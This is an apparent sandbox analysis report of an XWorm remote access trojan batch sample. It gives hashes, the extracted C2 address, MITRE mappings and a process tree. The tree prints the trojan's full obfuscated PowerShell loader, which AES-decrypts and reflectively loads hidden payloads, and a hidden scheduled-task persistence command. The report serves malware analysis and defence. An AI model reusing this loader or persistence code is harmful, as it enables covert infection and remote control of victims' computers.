xworm | 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab

Analysis

user interaction
yes
max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/02/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
iiii--.bat
Size 258KB
Sample260208-ryl3esft4f
SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
MD5 144ab3c20622ec01122ddccb2d7b7b57
SHA1 a9c5a22b83872be41fec6cc3e11061069f4175b0
SHA512 403dd70d2cd26ac114a4bef012252287e4c833a383f8031ca9595137f085e0cca528eb8eb91d0af58e1272339fecb889c998135e278a0f757bd23ddd5f15a452
SSDEEP 6144:2uSa72dCUu8Q5gNg4y3mEMJNwL3umliJgb8xapFtfMoZalCk63:BUu8Q5gKXWEMJNwL3OgzPzZalCP
TLSH
T1B844BD231312756AED9A4BD8ECEE2FAC8A9D6ED611B7B019F758F4A314141321C3BCD1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

rmaa7-37443.portmap.host:37443

Mutex

HyHMCfgzRcyujrsS

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4796-42-0x000002BDCADD0000-0x000002BDCADDE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
33	4796	powershell.exe
44	4796	powershell.exe
65	4796	powershell.exe
66	4796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3940	powershell.exe
2160	powershell.exe
4796	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 2 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe
Token: 36	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe
Token: 36	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 3940	2196	cmd.exe	91
PID 3940 wrote to memory of 2160	3940	powershell.exe	96
PID 3940 wrote to memory of 4100	3940	powershell.exe	99
PID 4100 wrote to memory of 4092	4100	WScript.exe	100
PID 4092 wrote to memory of 4796	4092	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\iiii--.bat iuhjguyuvb
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Local\Temp\iiii--.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('iuhjguyuvb'));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_457_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_457.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_457.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_457.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Roaming\startup_str_457.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7daf7ac3d9f970891595a4ee6004ae81c42e4b14154a065f95c42535f6a788d3
MD5 39c48e1dc332ddd0cb14a8bcab322645
SHA1 5ff9f528c3b4077a6eb5a1f71455237241d7cdd4
SHA512 170c5dcfa7a4b149fad1e9c5e16cb608148702261057067f5f226d68177f0581caa110dd01c0ef220f9276e607a42498046037b95ed9f6ce8ed6aa0c3c02f35a
TLSH
T152214627B38C8922CC9A153A549EAC1072B683DB41AFCE9F6E85D310E27F984CB711D0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_coqiqmin.fve.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_coqiqmin.fve.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpC7A0.tmp

Path C:\Users\Admin\AppData\Local\Temp\tmpC7A0.tmp
Size 100KB
SHA256 555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc
MD5 1b942faa8e8b1008a8c3c1004ba57349
SHA1 cd99977f6c1819b12b33240b784ca816dfe2cb91
SHA512 5aee3d59478d41ddd5885c99b394c9c4983064e2b3528db1a3f7fc289662bced4f57d072517bbe7573c6d1789435e987ef1aa9cc91f372bcfd30bc016675fa43
SSDEEP 3072:WakLA3LC2FY+EdzYZHAx+dqRN51hdJFxtZV9l5hhJxZ9N1FZV9NFWOaSek8Kle/:WakL320zYZHpMXM/
TLSH
T122A3295B73A940BBE1768635C9631E09E7B6F8110B319F9F0764025E2F637914E3AF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_457.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_457.bat
Size 258KB
SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
MD5 144ab3c20622ec01122ddccb2d7b7b57
SHA1 a9c5a22b83872be41fec6cc3e11061069f4175b0
SHA512 403dd70d2cd26ac114a4bef012252287e4c833a383f8031ca9595137f085e0cca528eb8eb91d0af58e1272339fecb889c998135e278a0f757bd23ddd5f15a452
SSDEEP 6144:2uSa72dCUu8Q5gNg4y3mEMJNwL3umliJgb8xapFtfMoZalCk63:BUu8Q5gKXWEMJNwL3OgzPzZalCP
TLSH
T1B844BD231312756AED9A4BD8ECEE2FAC8A9D6ED611B7B019F758F4A314141321C3BCD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_457.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_457.vbs
Size 115B
SHA256 97f6dba773022dbd6ba7b990a2389e9de128917ec4af6d792299bfd282f81a36
MD5 6010f5123df1eddd07439a935d113660
SHA1 787a659a92c056e4014a00a08d24947fa48547a3
SHA512 e1b37b72287fcc5458297252bb4671dab9d1c7b58ee3367673dcc42ede83d02439ba566e1143fd4ecd44a8e1b4546a08ca5c91273963d1e0dc9bb888fe63060f
TLSH
T13BB0123E2289C9CF2D0555E30B73940C8DA099802544EBA6DF00C5DD10F850CFDD7043
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2160-24-0x000001542FFF0000-0x000001543020C000-memory.dmp

Download

memory/2160-14-0x000001542FF40000-0x000001542FF50000-memory.dmp

Download

memory/2160-13-0x000001542FF40000-0x000001542FF50000-memory.dmp

Download

memory/3940-0-0x0000028DBEF70000-0x0000028DBEF80000-memory.dmp

Download

memory/3940-11-0x0000028DBF400000-0x0000028DBF432000-memory.dmp

Download

memory/3940-10-0x0000028DBF3D0000-0x0000028DBF3D8000-memory.dmp

Download

memory/3940-3-0x0000028DBEF80000-0x0000028DBEFA2000-memory.dmp

Download

memory/3940-33-0x0000028DBEFB0000-0x0000028DBF1CC000-memory.dmp

Download

memory/3940-1-0x0000028DBEF70000-0x0000028DBEF80000-memory.dmp

Download

memory/4796-42-0x000002BDCADD0000-0x000002BDCADDE000-memory.dmp

Download

memory/4796-43-0x000002BDCB0A0000-0x000002BDCB0DA000-memory.dmp

Download

memory/4796-48-0x000002BDCA0B0000-0x000002BDCA0BA000-memory.dmp

Download